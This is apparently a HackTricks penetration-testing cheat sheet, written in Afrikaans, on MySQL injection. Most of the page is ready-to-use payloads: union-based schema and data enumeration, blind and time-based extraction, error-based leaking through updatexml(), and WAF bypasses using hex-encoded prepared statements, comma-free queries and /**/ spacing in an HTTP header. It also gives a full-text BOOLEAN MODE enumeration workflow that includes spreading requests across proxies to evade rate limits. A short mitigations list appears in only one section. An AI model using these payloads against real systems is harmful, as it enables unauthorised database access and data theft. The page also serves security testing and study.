MySQL injection

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opmerkings

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interessante Funksies

Bevestig Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Nuttige funksies

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Alle injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

van https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Vloei

Onthou dat jy in “moderne” weergawes van MySQLinformation_schema.tables” kan vervang vir “mysql.innodb_table_stats (Dit kan nuttig wees om WAFs te omseil).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Slegs 1 waarde

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Bepaal die aantal kolomme

Gebruik ’n eenvoudige ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Leer hier verskeie opsies om abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Uitvoering van queries deur Prepared Statements

Wanneer stacked queries toegelaat word, kan dit moontlik wees om WAFs te omseil deur aan ’n veranderlike die hex representation van die query wat jy wil uitvoer toe te ken (deur SET te gebruik), en dan die PREPARE en EXECUTE MySQL statements te gebruik om uiteindelik die query uit te voer. Iets soos dit:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Vir meer inligting verwys asseblief na this blog post.

Information_schema alternatiewe

Onthou dat in “moderne” weergawes van MySQL kan jy information_schema.tables vervang deur mysql.innodb_table_stats of sys.x$schema_flattened_keys of sys.schema_table_statistics

MySQLinjection without COMMAS

Select 2 kolomme sonder enige komma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Waardes terugkry sonder die kolomnaam

As jy op ’n stadium die naam van die tabel ken maar nie die name van die kolomme binne die tabel nie, kan jy probeer om te bepaal hoeveel kolomme daar is deur iets soos die volgende uit te voer:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Gestel daar is 2 kolomme (waarvan die eerste die ID is) en die ander die flag, kan jy probeer om die inhoud van die flag karakter vir karakter te bruteforce:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Meer inligting by https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection without SPACES (/**/ comment trick)

Sommige toepassings saneer of ontleed gebruikersinvoer met funksies soos sscanf("%128s", buf) wat by die eerste spasiekarakter stop. Omdat MySQL die reeks /**/ as ’n kommentaar en as witspasie beskou, kan dit gebruik word om normale spasies heeltemal uit die payload te verwyder terwyl die query sintakties geldig bly.

Voorbeeld time-based blind injection wat die spasie-filter omseil:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Wat die databasis ontvang as:

' OR SLEEP(5)-- -'

Dit is veral handig wanneer:

  • Die beheerbare buffer in grootte beperk is (bv. %128s) en spasies die inset voortydig sou beëindig.
  • Inspuiting deur HTTP headers of ander velde waar normale spasies verwyder word of as skeiers gebruik word.
  • Gekombineer met INTO OUTFILE primitives om volle pre-auth RCE te bereik (sien die MySQL File RCE afdeling).

MySQL geskiedenis

Jy kan ander uitvoerings binne MySQL sien deur die tabel te lees: sys.x$statement_analysis

Weergawe alternatiefs

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator misbruik (WOR)

Dit is nie ’n klassieke SQL injection nie. Wanneer ontwikkelaars gebruikersinsette deurgee aan MATCH(col) AGAINST('...' IN BOOLEAN MODE), voer MySQL ’n ryk stel Boolean search operators binne die aangehaalde string uit. Baie WAF/SAST-reëls fokus slegs op die verbreking van aanhalings en mis hierdie oppervlak.

Belangrike punte:

  • Operateurs word binne die aanhalings geëvalueer: + (moet insluit), - (moet nie insluit nie), * (wildcard aan die einde), "..." (presiese frase), () (groepvorming), </>/~ (gewigte). Sien MySQL docs.
  • Dit maak teenwoordigheid/afwesigheid- en voorvoegseltoetse moontlik sonder om uit die string-literal te breek, bv. AGAINST('+admin*' IN BOOLEAN MODE) om te kontroleer vir enige term wat met admin begin.
  • Nuttig om orakels te bou soos “bevat enige ry ’n term met voorvoegsel X?” en om verborge strings te enumereer deur voorvoegsel-uitbreiding.

Example query built by the backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as hidden/deleted titles.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: indien die backend 1–2 agterstaande karakters per woord afknyp via ’n regex soos (\b.{1,2})(\s)|(\b.{1,2}$), stuur prefix*ZZ. Die cleaner sny die ZZ af maar laat die * oor, so prefix* bly oor.
  • Early-break stripping: as die kode operateurs per woord verwyder maar die verwerking stop wanneer dit ’n token vind met lengte ≥ min length, stuur twee tokens: die eerste is ’n rommeltoken wat aan die lengtedrempel voldoen, die tweede dra die operator payload. Byvoorbeeld: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 is &, %2B is +. Die agterste xD (of enige twee letters) word deur die skoonmaker verwyder, terwyl {FUZZ}* behoue bly.
  • Beskou ’n redirect as “match” en ’n foutblad as “no match”. Moet nie redirects outomaties volg nie om die oracle sigbaar te hou.

Enumeration workflow:

  1. Begin met {FUZZ} = a…z,0…9 om treffers vir die eerste letter te vind via +a*, +b*, …
  2. Vir elke positiewe voorvoegsel, vertak: a* → aa* / ab* / …. Herhaal om die hele string te herstel.
  3. Versprei versoeke (proxies, meerdere rekeninge) as die app vloedbeheer afdwing.

Why titles often leak while contents don’t:

  • Sommige apps pas sigbaarheidskontroles eers toe ná ’n voorlopige MATCH op titels/onderwerpe. As die control-flow afhang van die “any results?”-uitkoms voordat filterering plaasvind, ontstaan bestaan leaks.

Mitigations:

  • As jy nie Boolean-logika benodig nie, gebruik IN NATURAL LANGUAGE MODE of hanteer gebruikerinvoer as ’n literal (escape/quote deaktiveer operateurs in ander modi).
  • As Boolean-modus vereis word, verwyder of neutraliseer alle Boolean-operateurs (+ - * " ( ) < > ~) vir elke token (geen vroeë breuke nie) ná tokenisering.
  • Pas sigbaarheids-/outorisasiefilters toe voor MATCH, of unifiseer reaksies (konstante tyd/status) wanneer die resultset leeg vs. nie-leeg is.
  • Hersien analoog-kenmerke in ander DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS parseer ook operateurs binne aangehaalde argumente.

Notes:

  • Prepared statements beskerm nie teen semantiese misbruik van REGEXP of search operators nie. ’n Invoer soos .* bly ’n permissiewe regex selfs binne ’n aangehaalde REGEXP '.*'. Gebruik allow-lists of eksplisiete guards.

Error-based exfiltration via updatexml()

Wanneer die toepassing slegs SQL-foute teruggee (nie rou resultate nie), kan jy data leak deur MySQL-foutstringe:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() veroorsaak ’n XPATH-fout wat die gekonkateneerde string inbêdig, sodat die waarde van die binneste SELECT in die foutrespons tussen afskeiders (0x7e = ~) verskyn. Herhaal LIMIT 1 OFFSET N om rye te enumereer. Dit werk selfs wanneer die UI “boolean” toetse afdwing omdat die foutboodskap steeds vertoon word.

Ander MYSQL injection gidse

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks